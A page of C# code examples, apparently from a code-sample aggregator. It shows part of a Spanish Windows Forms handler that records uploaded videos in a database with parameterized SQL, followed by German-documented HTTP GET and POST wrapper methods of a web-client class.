            Mensajes.informacion(System.Text.Encoding.ASCII.GetString(responseArray));

            #endregion

            #region Insert a la bd

            if (System.Text.Encoding.ASCII.GetString(responseArray).Equals("Se ha Cargado con Exito el Archivo"))
            {
                #region consulta para saber en que numero de video sigue

                comando = Datos.crearComando();

                comando.Parameters.Clear();
                comando.CommandText = "SELECT ((ifnull(max(id),0))+1) as ID FROM videos";
                // Al ejecutar la consulta se devuelve un DataTable.
                // --
                DataTable Campana = Datos.ejecutarComandoSelect(comando);

                #endregion

                string             nombre      = Path.GetFileName(inputnombre.Text);
                string             ruta        = VGlobales.rutaWeb + "/videos/" + Campana.Rows[0]["ID"].ToString() + Path.GetExtension(inputnombre.Text);
                string             clientes_id = inputclientes_id.SelectedValue.ToString();
                WindowsMediaPlayer wmp         = new WindowsMediaPlayer();
                IWMPMedia          duracion    = wmp.newMedia(inputnombre.Text);

                try
                {
                    //Se realiza la inserción de los datos en la base de datos
                    comando = Datos.crearComando();

                    comando.Parameters.Clear();
                    comando.CommandText = "INSERT INTO videos (nombre, ruta, clientes_id, duracion) VALUES (@nombre, @ruta, @clientes_id, @duracion)";

                    comando.Parameters.AddWithValue("@nombre", nombre);
                    comando.Parameters.AddWithValue("@ruta", ruta);
                    comando.Parameters.AddWithValue("@clientes_id", clientes_id);
                    comando.Parameters.AddWithValue("@duracion", duracion.duration.ToString());

                    // Ejecutar la consulta y decidir
                    // True: caso exitoso
                    // false: Error.
                    if (Datos.ejecutarComando(comando))
                    {
                        // TODO: OPERACIÓN A REALIZAR EN CASO DE ÉXITO.
                        Mensajes.informacion("La inserción se ha realizado correctamente.");

                        string formulario  = this.Name;
                        string descripcion = "ACCIÓN: inserción; LOS DATOS DE LA ACCIÓN SON: nombre = " + nombre + ", ruta = " + ruta + ", clientes_id = " + clientes_id + ", duracion = " + duracion.duration.ToString() + "";
                        Datos.crearLOG(formulario, descripcion);
                        LlenarGridVideos();
                    }
                    else
                    {
                        Mensajes.error("Ha ocurrido un error al intentar realizar la inserción.");
                    }
                }
                catch
                {
                    Mensajes.error("Ha ocurrido un error al intentar realizar la inserción.");
                }
            }

            #endregion

            else
            {
                Mensajes.informacion(System.Text.Encoding.ASCII.GetString(responseArray));
                return;
            }

            this.Cursor = Cursors.Default;

            #endregion
        }
Ejemplo n.º 25
0
 /// <summary>
 /// Gibt das Ergebnis einer HTTP-POST-Anfrage an die angegebene Ressource zurück.
 /// </summary>
 /// <param name="uri">Ein URI, der die anzufordernde Ressource identifiziert.</param>
 /// <param name="parameters">Ein Objekt, dessen Properties als POST-Parameter benutzt werden.</param>
 /// <returns>Das Ergebnis einer HTTP-POST-Anfrage an die angegebene Ressource (als Zeichenkettenrepräsentation).</returns>
 public string Post(string uri, object parameters)
 {
     return(this.post(uri, ExtendedWebClient.createParamString(ExtendedWebClient.objectToDictionary(parameters))));
 }
Ejemplo n.º 26
0
 /// <summary>
 /// Gibt ein WebRequest-Objekt für eine HTTP-GET-Anfrage an die angegebene Ressource zurück.
 /// </summary>
 /// <param name="uri">Ein URI, der die anzufordernde Ressource identifiziert.</param>
 /// <param name="parameters">Eine Auflistung der GET-Parameter.</param>
 /// <returns>Ein neues WebRequest-Objekt für die angegebene Ressource.</returns>
 public WebRequest Get(Uri uri, IDictionary <string, string> parameters)
 {
     return(this.get(uri, ExtendedWebClient.createParamString(parameters)));
 }